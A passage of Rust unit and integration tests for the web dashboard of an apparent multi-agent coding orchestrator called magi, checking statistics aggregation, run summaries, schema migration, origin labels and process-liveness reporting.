18680        assert!(APP_JS.contains("function statsScatterPlan("));
18681        assert!(
18682            APP_JS.contains("d.submitted < STATS_LOW_N")
18683                || APP_JS.contains("r.submitted < STATS_LOW_N")
18684        );
18685        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18686        assert!(APP_CSS.contains(".precision-scatter"));
18687    }
18688
18689    #[test]
18690    fn advisor_reflection_is_drawn_as_stacked_segments() {
18691        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18692        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18693        let html = include_str!("../assets/ui/index.html");
18694        assert!(html.contains("Approximate"));
18695        for label in ["reflected strongly", "faint", "no proposal"] {
18696            assert!(html.contains(label));
18697        }
18698        let css = include_str!("../assets/ui/app.css");
18699        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18700            assert!(css.contains(&format!(".{c} {{")));
18701        }
18702    }
18703
18704    #[test]
18705    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18706        assert!(APP_JS.contains("function statsDailyPlan("));
18707        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18708        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18709    }
18710
18711    #[test]
18712    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18713        let start = APP_JS
18714            .find("function scheduleSearch(")
18715            .expect("scheduleSearch exists");
18716        let body = &APP_JS[start..];
18717        let body = &body[..body.find("\n}\n").expect("function end")];
18718        assert!(body.contains("s.seq += 1"));
18719    }
18720
18721    /// The dashboard reads every run's state itself rather than trusting a
18722    /// separately-maintained count, so an unreadable run must be counted the
18723    /// same way `/api/health` counts it - never silently dropped the way the
18724    /// CLI's own `stats::load_all` drops it.
18725    #[tokio::test]
18726    async fn stats_runs_unreadable_matches_health() {
18727        let f = Fixture::start().await;
18728        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18729        let broken = f.runs().join("20260902-140502-bad");
18730        std::fs::create_dir_all(&broken).expect("run dir");
18731        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18732
18733        let stats = f.get("/api/stats").await;
18734        let health = f.get("/api/health").await;
18735
18736        assert_eq!(stats.status, 200);
18737        assert_eq!(stats.json()["totals"]["runs"], 1);
18738        assert_eq!(stats.json()["runs_unreadable"], 1);
18739        assert_eq!(
18740            stats.json()["runs_unreadable"],
18741            health.json()["runs_unreadable"],
18742            "the dashboard and /api/health must never disagree about how many \
18743             runs could not be read"
18744        );
18745    }
18746
18747    #[tokio::test]
18748    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18749        let f = Fixture::start().await;
18750        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18751        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18752        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18753
18754        let totals = &f.get("/api/stats").await.json()["totals"];
18755        assert_eq!(totals["runs"], 3);
18756        assert_eq!(totals["merged"], 1);
18757        assert_eq!(totals["stalled"], 1);
18758        assert_eq!(totals["in_progress"], 1);
18759        // A stalled run must never read as blocked/merged/ready - it is its
18760        // own bucket, not folded into a "decided" one.
18761        assert_eq!(totals["blocked"], 0);
18762        assert_eq!(totals["ready"], 0);
18763    }
18764
18765    #[tokio::test]
18766    async fn stats_advisors_report_proposals_and_reflection() {
18767        use crate::advise::{Advice, AdvisorRecord, Reflection};
18768        use crate::verdict::Proposal;
18769
18770        let f = Fixture::start().await;
18771        let mut state = RunState::new(
18772            PathBuf::from("/repo/magi"),
18773            "main".to_owned(),
18774            "0123456789abcdef".to_owned(),
18775            "task".to_owned(),
18776            Config::default(),
18777        );
18778        state.id = "20260902-140501-a".to_owned();
18779        state.status = RunStatus::Merged;
18780        state.advice = Some(Advice {
18781            records: vec![
18782                AdvisorRecord {
18783                    seat: "advisor-1".to_owned(),
18784                    agent: "alpha".to_owned(),
18785                    proposal: Some(Proposal {
18786                        approach: "do it".to_owned(),
18787                        key_tradeoff: "speed over memory".to_owned(),
18788                        risks: Vec::new(),
18789                        touches: Vec::new(),
18790                        why_not_naive: "breaks under load".to_owned(),
18791                    }),
18792                    error: None,
18793                    duration_ms: 0,
18794                    reflection: Reflection::Strong,
18795                },
18796                AdvisorRecord {
18797                    seat: "advisor-2".to_owned(),
18798                    agent: "alpha".to_owned(),
18799                    proposal: None,
18800                    error: Some("timed out".to_owned()),
18801                    duration_ms: 0,
18802                    reflection: Reflection::Absent,
18803                },
18804            ],
18805            synthesis: Some("blended brief".to_owned()),
18806        });
18807        let dir = f.runs().join(&state.id);
18808        std::fs::create_dir_all(&dir).expect("run dir");
18809        std::fs::write(
18810            dir.join("run.json"),
18811            serde_json::to_string_pretty(&state).expect("serialize run"),
18812        )
18813        .expect("write run.json");
18814
18815        // `alpha` is in no roster here; this test is about the rates.
18816        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18817        let alpha = advisors
18818            .as_array()
18819            .expect("an array")
18820            .iter()
18821            .find(|a| a["agent"] == "alpha")
18822            .expect("alpha row");
18823        assert_eq!(alpha["seated"], 2);
18824        assert_eq!(alpha["proposed"], 1);
18825        assert_eq!(alpha["absent"], 1);
18826        assert_eq!(alpha["strong"], 1);
18827        assert_eq!(alpha["faint"], 0);
18828        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18829    }
18830
18831    #[tokio::test]
18832    async fn stats_hides_agents_outside_the_roster_unless_all() {
18833        use crate::run::Candidate;
18834        let repo = TempDir::new().expect("repo dir");
18835        std::fs::write(
18836            repo.path().join("magi.toml"),
18837            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18838        )
18839        .expect("magi.toml");
18840        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18841        let mut state = RunState::new(
18842            PathBuf::from("/repo/magi"),
18843            "main".to_owned(),
18844            "0123456789abcdef".to_owned(),
18845            "task".to_owned(),
18846            Config::default(),
18847        );
18848        state.id = "20260902-140501-a".to_owned();
18849        state.status = RunStatus::Merged;
18850        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18851            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18852                "index": 0, "label": label.to_string(), "agent": agent,
18853                "branch": "b", "worktree": "/w",
18854            }))
18855            .expect("candidate");
18856            c.label = label;
18857            state.candidates.push(c);
18858        }
18859        let dir = f.runs().join(&state.id);
18860        std::fs::create_dir_all(&dir).expect("run dir");
18861        std::fs::write(
18862            dir.join("run.json"),
18863            serde_json::to_string_pretty(&state).expect("serialize run"),
18864        )
18865        .expect("write run.json");
18866
18867        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18868            v["agents"]
18869                .as_array()
18870                .expect("array")
18871                .iter()
18872                .map(|a| a["agent"].as_str().unwrap().to_owned())
18873                .collect()
18874        };
18875        let hidden = f.get("/api/stats").await.json();
18876        assert_eq!(agents_of(&hidden), ["keep"]);
18877        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18878        assert_eq!(hidden["totals"]["runs"], 1);
18879
18880        let all = f.get("/api/stats?all=true").await.json();
18881        assert_eq!(agents_of(&all).len(), 2);
18882        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18883        // Verify competitive and solo keys exist on agent entries
18884        let keep_agent = all["agents"]
18885            .as_array()
18886            .unwrap()
18887            .iter()
18888            .find(|a| a["agent"] == "keep")
18889            .unwrap();
18890        assert_eq!(keep_agent["competitive_entered"], 1);
18891        assert_eq!(keep_agent["competitive_wins"], 0);
18892        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18893        assert_eq!(keep_agent["solo_entered"], 0);
18894        assert_eq!(keep_agent["solo_adopted"], 0);
18895        assert!(keep_agent["solo_adoption_rate"].is_null());
18896    }
18897
18898    #[tokio::test]
18899    async fn stats_release_bumps_split_clean_from_attention() {
18900        use crate::run::ReleaseBump;
18901
18902        let f = Fixture::start().await;
18903
18904        let mut clean = RunState::new(
18905            PathBuf::from("/repo/magi"),
18906            "main".to_owned(),
18907            "0123456789abcdef".to_owned(),
18908            "task".to_owned(),
18909            Config::default(),
18910        );
18911        clean.id = "20260902-140501-a".to_owned();
18912        clean.status = RunStatus::Merged;
18913        clean.release_bump = Some(ReleaseBump {
18914            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18915            version: Some("1.0.0".to_owned()),
18916            automerge_enabled: true,
18917            merged_directly: false,
18918            local: false,
18919            release: None,
18920            problem: None,
18921            action_required: None,
18922            skipped: None,
18923        });
18924
18925        let mut blocked = RunState::new(
18926            PathBuf::from("/repo/magi"),
18927            "main".to_owned(),
18928            "0123456789abcdef".to_owned(),
18929            "task".to_owned(),
18930            Config::default(),
18931        );
18932        blocked.id = "20260902-140502-b".to_owned();
18933        blocked.status = RunStatus::Merged;
18934        blocked.release_bump = Some(ReleaseBump {
18935            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18936            version: Some("1.0.1".to_owned()),
18937            automerge_enabled: false,
18938            merged_directly: false,
18939            local: false,
18940            release: None,
18941            problem: Some("checks red".to_owned()),
18942            action_required: Some("look at the PR".to_owned()),
18943            skipped: None,
18944        });
18945
18946        for state in [&clean, &blocked] {
18947            let dir = f.runs().join(&state.id);
18948            std::fs::create_dir_all(&dir).expect("run dir");
18949            std::fs::write(
18950                dir.join("run.json"),
18951                serde_json::to_string_pretty(state).expect("serialize run"),
18952            )
18953            .expect("write run.json");
18954        }
18955
18956        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18957        assert_eq!(bumps["merged"], 2);
18958        assert_eq!(bumps["recorded"], 2);
18959        assert_eq!(bumps["pr_opened"], 2);
18960        assert_eq!(bumps["automerge_enabled"], 1);
18961        assert_eq!(bumps["needs_attention"], 1);
18962        assert_eq!(bumps["clean"], 1);
18963        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18964        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18965    }
18966
18967    #[tokio::test]
18968    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18969        let f = Fixture::start().await;
18970        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18971
18972        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18973        assert_eq!(bumps["merged"], 1);
18974        assert_eq!(bumps["recorded"], 0);
18975        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18976        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18977        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18978        // `pr_opened` and `recorded` are both zero here, so these rates have
18979        // no denominator to compute from and must be null.
18980        assert_eq!(bumps["automerge_rate"], Value::Null);
18981        assert_eq!(bumps["attention_rate"], Value::Null);
18982    }
18983
18984    #[tokio::test]
18985    async fn stats_queue_counts_come_from_the_live_queue() {
18986        let f = Fixture::start().await;
18987        let q = f.queue();
18988        let mut queued = Task::new(
18989            "queued task".to_owned(),
18990            "do it".to_owned(),
18991            PathBuf::from("/repo"),
18992            Source::Human,
18993        );
18994        q.put(&mut queued).expect("put queued");
18995        let mut held = Task::new(
18996            "held task".to_owned(),
18997            "do it later".to_owned(),
18998            PathBuf::from("/repo"),
18999            Source::Human,
19000        );
19001        held.hold_machine(Some("out of attempts".to_owned()));
19002        q.put(&mut held).expect("put held");
19003
19004        let queue = f.get("/api/stats").await.json()["queue"].clone();
19005        assert_eq!(queue["queued"], 1);
19006        assert_eq!(queue["held"], 1);
19007        assert_eq!(queue["running"], 0);
19008        assert_eq!(queue["done"], 0);
19009        assert_eq!(queue["failed"], 0);
19010        assert_eq!(queue["blocked"], 0);
19011    }
19012
19013    #[tokio::test]
19014    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19015        let f = Fixture::start().await;
19016        let stats = f.get("/api/stats").await;
19017        assert_eq!(stats.status, 200);
19018        assert_eq!(stats.json()["totals"]["runs"], 0);
19019        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19020        assert_eq!(stats.json()["runs_unreadable"], 0);
19021        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19022        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19023        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19024        assert_eq!(stats.json()["repo"], Value::Null);
19025    }
19026
19027    #[tokio::test]
19028    async fn stats_lists_every_repository_with_runs_recorded() {
19029        let f = Fixture::start().await;
19030        write_run_repo(
19031            &f.runs(),
19032            "20260902-140501-a",
19033            RunStatus::Merged,
19034            "/repos/a",
19035        );
19036        write_run_repo(
19037            &f.runs(),
19038            "20260902-140502-b",
19039            RunStatus::Merged,
19040            "/repos/a",
19041        );
19042        write_run_repo(
19043            &f.runs(),
19044            "20260902-140503-c",
19045            RunStatus::Blocked,
19046            "/repos/b",
19047        );
19048
19049        let stats = f.get("/api/stats").await;
19050        assert_eq!(stats.status, 200);
19051        // Unfiltered - the aggregate across both repositories.
19052        assert_eq!(stats.json()["totals"]["runs"], 3);
19053        assert_eq!(stats.json()["repo"], Value::Null);
19054
19055        let repos = stats.json()["repos"].clone();
19056        let repos = repos.as_array().unwrap();
19057        assert_eq!(repos.len(), 2);
19058        // Busiest (2 runs) first.
19059        assert_eq!(repos[0]["repo"], "/repos/a");
19060        assert_eq!(repos[0]["name"], "a");
19061        assert_eq!(repos[0]["runs"], 2);
19062        assert_eq!(repos[1]["repo"], "/repos/b");
19063        assert_eq!(repos[1]["runs"], 1);
19064    }
19065
19066    #[tokio::test]
19067    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19068        let f = Fixture::start().await;
19069        write_run_repo(
19070            &f.runs(),
19071            "20260902-140501-a",
19072            RunStatus::Merged,
19073            "/repos/a",
19074        );
19075        write_run_repo(
19076            &f.runs(),
19077            "20260902-140502-b",
19078            RunStatus::Blocked,
19079            "/repos/b",
19080        );
19081
19082        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19083        assert_eq!(stats.status, 200);
19084        assert_eq!(stats.json()["totals"]["runs"], 1);
19085        assert_eq!(stats.json()["totals"]["merged"], 1);
19086        assert_eq!(stats.json()["repo"], "/repos/a");
19087        // The repository list itself is unaffected by the filter - it is
19088        // what a client switches repositories from.
19089        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19090        // runs_unreadable is a whole-workload count, never scoped to the
19091        // selected repository - see StatsView::runs_unreadable's own doc.
19092        assert_eq!(stats.json()["runs_unreadable"], 0);
19093    }
19094
19095    #[tokio::test]
19096    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19097        let f = Fixture::start().await;
19098        write_run_repo(
19099            &f.runs(),
19100            "20260902-140501-a",
19101            RunStatus::Merged,
19102            "/repos/a",
19103        );
19104        write_run_repo(
19105            &f.runs(),
19106            "20260902-140502-b",
19107            RunStatus::Merged,
19108            "/repos/b",
19109        );
19110
19111        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19112            let json = f.get(uri).await.json();
19113            let daily = json["daily"].as_array().expect("daily is an array");
19114            assert_eq!(daily.len(), 30);
19115            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19116            let mut sorted = dates.clone();
19117            sorted.sort();
19118            assert_eq!(dates, sorted);
19119            for d in daily {
19120                assert_eq!(
19121                    d["merged"].as_u64().unwrap()
19122                        + d["ready"].as_u64().unwrap()
19123                        + d["other"].as_u64().unwrap(),
19124                    d["runs"].as_u64().unwrap()
19125                );
19126            }
19127            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19128        }
19129    }
19130
19131    #[tokio::test]
19132    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19133        let f = Fixture::start().await;
19134        write_run_repo(
19135            &f.runs(),
19136            "20260902-140501-a",
19137            RunStatus::Merged,
19138            "/repos/a",
19139        );
19140
19141        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19142        assert_eq!(stats.status, 404);
19143    }
19144
19145    #[tokio::test]
19146    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19147        let f = Fixture::start().await;
19148        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19149
19150        let summary = f.get("/api/runs").await.json();
19151        let row = &summary[0];
19152        assert_eq!(row["short"], "a1b2");
19153        assert_eq!(row["status"], "ready");
19154        assert_eq!(row["done"], true);
19155        assert_eq!(row["title"], "Add a web UI");
19156        assert_eq!(row["repo_name"], "magi");
19157        assert_eq!(row["judges"], 3);
19158        assert_eq!(row["winner"], Value::Null);
19159        assert_eq!(row["reviews"], 0);
19160
19161        // The short id resolves, and the detail route is the state itself, not
19162        // a projection of it: the UI reads fields the summary does not carry.
19163        let detail = f.get("/api/runs/a1b2").await;
19164        assert_eq!(detail.status, 200);
19165        assert_eq!(detail.json()["base_branch"], "main");
19166        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19167    }
19168
19169    /// `status: "ready"` alone cannot tell a run still headed for a landing
19170    /// (a PR closed without merging, say) apart from one `[merge] mode =
19171    /// "none"` left unmerged for good — the confusion the operator flagged
19172    /// after the CLI report already grew a `not landed — nothing to do by
19173    /// design` line for exactly this case (`report.rs`). Both the list route
19174    /// and the detail route must carry a flag the phone can key on instead of
19175    /// re-deriving it from `status` + `merge.mode` itself.
19176    #[tokio::test]
19177    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19178        let f = Fixture::start().await;
19179
19180        let mut none_run = RunState::new(
19181            PathBuf::from("/repo/magi"),
19182            "main".to_owned(),
19183            "0123456789abcdef".to_owned(),
19184            "Add a web UI".to_owned(),
19185            Config::default(),
19186        );
19187        none_run.id = "20260902-140503-none".to_owned();
19188        none_run.status = RunStatus::Ready;
19189        none_run.merge = Some(crate::run::MergeOutcome {
19190            mode: crate::config::MergeMode::None,
19191            ok: true,
19192            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19193            empty: false,
19194        });
19195        write_state(&f.runs(), &none_run);
19196
19197        let mut pr_run = RunState::new(
19198            PathBuf::from("/repo/magi"),
19199            "main".to_owned(),
19200            "0123456789abcdef".to_owned(),
19201            "Add a web UI".to_owned(),
19202            Config::default(),
19203        );
19204        pr_run.id = "20260902-140504-prcl".to_owned();
19205        pr_run.status = RunStatus::Ready;
19206        pr_run.merge = Some(crate::run::MergeOutcome {
19207            mode: crate::config::MergeMode::Pr,
19208            ok: false,
19209            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19210            empty: false,
19211        });
19212        write_state(&f.runs(), &pr_run);
19213
19214        let summary = f.get("/api/runs").await.json();
19215        let rows: std::collections::HashMap<&str, &Value> = summary
19216            .as_array()
19217            .expect("an array")
19218            .iter()
19219            .map(|r| (r["id"].as_str().expect("an id"), r))
19220            .collect();
19221        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19222        assert_eq!(
19223            rows[none_run.id.as_str()]["unmerged_by_design"],
19224            true,
19225            "a mode-none Ready must be flagged in the list"
19226        );
19227        assert_eq!(
19228            rows[pr_run.id.as_str()]["unmerged_by_design"],
19229            false,
19230            "a Ready reached by a closed pull request is a different case"
19231        );
19232
19233        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19234        assert_eq!(none_detail["status"], "ready");
19235        assert_eq!(none_detail["unmerged_by_design"], true);
19236
19237        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19238        assert_eq!(pr_detail["unmerged_by_design"], false);
19239    }
19240
19241    /// `RunState::active` is only ever cleared by whoever populated it, so the
19242    /// detail route also has to say whether a daemon is actually still
19243    /// driving this run right now — otherwise a seat from a killed process's
19244    /// last wave would read as live forever.
19245    #[tokio::test]
19246    async fn run_core_survives_unavailable_related_stores() {
19247        let home = TempDir::new().unwrap();
19248        let ui = delta_test_ui(home.path());
19249        let state = RunState::new(
19250            PathBuf::from("/repo/magi"),
19251            "main".into(),
19252            "0123456789abcdef".into(),
19253            "Useful core instructions".into(),
19254            Config::default(),
19255        );
19256        let dir = ui.runs.join(&state.id);
19257        std::fs::create_dir_all(&dir).unwrap();
19258        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19259        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19260        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19261        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19262            .await
19263            .unwrap()
19264            .0;
19265        assert_eq!(core.state.instruction, state.instruction);
19266        assert_eq!(core.state.updated_at, state.updated_at);
19267        assert!(core.task.is_none());
19268        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19269    }
19270
19271    #[tokio::test]
19272    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19273        let f = Fixture::start().await;
19274        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19275        // half of this test can claim the daemon is working on it without a
19276        // second helper.
19277        let id = "20260902-140502-bbbb";
19278        let mut state = RunState::new(
19279            PathBuf::from("/repo/magi"),
19280            "main".to_owned(),
19281            "0123456789abcdef".to_owned(),
19282            "Add a web UI".to_owned(),
19283            Config::default(),
19284        );
19285        state.id = id.to_owned();
19286        state.status = RunStatus::Judging;
19287        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19288        let dir = f.runs().join(id);
19289        std::fs::create_dir_all(&dir).expect("run dir");
19290        std::fs::write(
19291            dir.join("run.json"),
19292            serde_json::to_string_pretty(&state).expect("serialize run"),
19293        )
19294        .expect("write run.json");
19295
19296        // No daemon.json at all, and no `driver_pid` recorded either (this
19297        // state was written directly, never through `execute()`): there is
19298        // nothing to confirm either way, so the route must say `"unknown"` —
19299        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19300        // run` used to get from this route before `driver_pid` existed.
19301        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19302        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19303        assert_eq!(cold["live"], "unknown", "{cold}");
19304
19305        // A fresh heartbeat naming exactly this run: the same entry now reads
19306        // as confirmed, not merely recorded.
19307        write_daemon(f.home.path(), Timestamp::now());
19308        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19309        assert_eq!(warm["live"], "live", "{warm}");
19310    }
19311
19312    #[test]
19313    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19314        let home = tempfile::tempdir().expect("temp home");
19315        let runs = home.path().join("runs");
19316        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19317            let mut state = RunState::new(
19318                PathBuf::from("/repo/magi"),
19319                "main".to_owned(),
19320                "0123456789abcdef".to_owned(),
19321                "Generated review context, not authored task criteria".to_owned(),
19322                Config::default(),
19323            );
19324            state.origin = origin;
19325            state.status = RunStatus::Blocked;
19326            // Earlier migrations must not infer these facts again.
19327            state.driver_exited = false;
19328            state.gate_ran = true;
19329            let expected = serde_json::to_value(&state).expect("serialize current state");
19330            let mut legacy = expected.clone();
19331            legacy["schema"] = serde_json::json!(13);
19332            legacy.as_object_mut().unwrap().remove("task_instruction");
19333            let dir = runs.join(&state.id);
19334            std::fs::create_dir_all(&dir).expect("run dir");
19335            let path = dir.join("run.json");
19336            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19337            std::fs::write(&path, &body).expect("write legacy run");
19338
19339            for loaded in [
19340                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19341                read_run(&runs, &state.id).expect("web migration"),
19342            ] {
19343                assert_eq!(loaded.schema, crate::run::SCHEMA);
19344                assert!(loaded.task_instruction.is_none());
19345                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19346            }
19347            assert_eq!(runs_unreadable(&runs), 0);
19348            assert_eq!(std::fs::read(&path).unwrap(), body);
19349        }
19350    }
19351
19352    /// Where a run came from is shown, and a run written before origins were
19353    /// recorded (schema 12, no `origin` key) stays readable and says so.
19354    #[tokio::test]
19355    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19356        let f = Fixture::start().await;
19357        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19358            let mut state = RunState::new(
19359                PathBuf::from("/repo/magi"),
19360                "main".to_owned(),
19361                "0123456789abcdef".to_owned(),
19362                "Add a web UI".to_owned(),
19363                Config::default(),
19364            );
19365            state.id = id.to_owned();
19366            state.origin = origin;
19367            let mut value = serde_json::to_value(&state).expect("serialize run");
19368            if let Some(schema) = schema {
19369                value["schema"] = serde_json::json!(schema);
19370                value.as_object_mut().unwrap().remove("origin");
19371            }
19372            let dir = f.runs().join(id);
19373            std::fs::create_dir_all(&dir).expect("run dir");
19374            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19375        };
19376        write(
19377            "20260930-092817-ec34",
19378            Some(crate::run::Origin::from_agent_env(
19379                Some(("4a7b".to_owned(), "chat".to_owned())),
19380                None,
19381            )),
19382            None,
19383        );
19384        write("20260930-092817-0ld1", None, Some(12));
19385
19386        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19387        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19388        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19389
19390        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19391        assert_eq!(
19392            old["origin_label"], "origin unknown (started before origins were recorded)",
19393            "{old}"
19394        );
19395        assert!(old["origin"].is_null(), "{old}");
19396
19397        let list = f.get("/api/runs").await.json();
19398        let labels: Vec<_> = list
19399            .as_array()
19400            .unwrap()
19401            .iter()
19402            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19403            .collect();
19404        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19405    }
19406
19407    #[tokio::test]
19408    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19409        let f = Fixture::start().await;
19410        let mut state = RunState::new(
19411            PathBuf::from("/repo"),
19412            "main".into(),
19413            "abc".into(),
19414            "task".into(),
19415            Config::default(),
19416        );
19417        state.status = RunStatus::Implementing;
19418        state.seat_started(
19419            "implement",
19420            "implement-A",
19421            std::time::Duration::from_secs(60),
19422            0,
19423        );
19424        state.save_under(f.home.path()).unwrap();
19425        let observed = f
19426            .get(&format!("/api/runs/{}/progress", state.id))
19427            .await
19428            .json();
19429        assert_eq!(observed["id"], state.id);
19430        assert!(observed["observed_at"].is_string());
19431        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19432        assert!(observed["progress"]["activity"].is_string());
19433        for field in [
19434            "config",
19435            "candidates",
19436            "land_approval",
19437            "task",
19438            "waiting",
19439            "done",
19440        ] {
19441            assert!(
19442                observed.get(field).is_none(),
19443                "progress must not expose control evidence: {field}"
19444            );
19445        }
19446    }
19447
19448    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19449    /// review` claims no daemon at all, so before this field existed the
19450    /// route above read it as `"dead"` — indistinguishable from a run a
19451    /// killed process abandoned — the whole time it was genuinely still
19452    /// answering. With a live pid recorded, it must read `"live"` even
19453    /// though no daemon claims it.
19454    #[tokio::test]
19455    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19456        let f = Fixture::start().await;
19457        let id = "20260922-090000-cccc";
19458        let mut state = RunState::new(
19459            PathBuf::from("/repo/magi"),
19460            "main".to_owned(),
19461            "0123456789abcdef".to_owned(),
19462            "Review only".to_owned(),
19463            Config::default(),
19464        );
19465        state.id = id.to_owned();
19466        state.status = RunStatus::Reviewing;
19467        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19468        // This test process's own pid: guaranteed alive, and never needs a
19469        // real daemon or a second process to prove it. The matching start-time
19470        // marker is what `liveness` now requires alongside a live pid — see
19471        // `RunState::driver_started_at`'s own doc for why the pid alone is
19472        // not enough.
19473        state.driver_pid = Some(std::process::id());
19474        state.driver_started_at = Some(
19475            crate::proc::process_started_at(std::process::id())
19476                .expect("this test process's own start time must be queryable"),
19477        );
19478        let dir = f.runs().join(id);
19479        std::fs::create_dir_all(&dir).expect("run dir");
19480        std::fs::write(
19481            dir.join("run.json"),
19482            serde_json::to_string_pretty(&state).expect("serialize run"),
19483        )
19484        .expect("write run.json");
19485
19486        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19487        assert_eq!(detail["live"], "live", "{detail}");
19488    }
19489
19490    /// A killed manual run's pid can be handed to a wholly unrelated later
19491    /// process — a live query on `driver_pid` alone would read this as
19492    /// `"live"`, exactly the false positive `driver_started_at` exists to
19493    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19494    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19495    #[tokio::test]
19496    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19497        let f = Fixture::start().await;
19498        let id = "20260922-090100-dddd";
19499        let mut state = RunState::new(
19500            PathBuf::from("/repo/magi"),
19501            "main".to_owned(),
19502            "0123456789abcdef".to_owned(),
19503            "Review only".to_owned(),
19504            Config::default(),
19505        );
19506        state.id = id.to_owned();
19507        state.status = RunStatus::Reviewing;
19508        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19509        // This test process's own pid really is alive, but the marker
19510        // recorded here does not match what it actually started at —
19511        // standing in for the pid having since been reused by a different
19512        // process than the one that wrote `run.json`.
19513        state.driver_pid = Some(std::process::id());
19514        state.driver_started_at = Some("1".to_owned());
19515        let dir = f.runs().join(id);
19516        std::fs::create_dir_all(&dir).expect("run dir");
19517        std::fs::write(
19518            dir.join("run.json"),
19519            serde_json::to_string_pretty(&state).expect("serialize run"),
19520        )
19521        .expect("write run.json");
19522
19523        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19524        assert_eq!(detail["live"], "dead", "{detail}");
19525    }
19526
19527    /// The deck's competition list is normally the first place an operator
19528    /// sees an old run. It must carry the same process verdict as detail, or
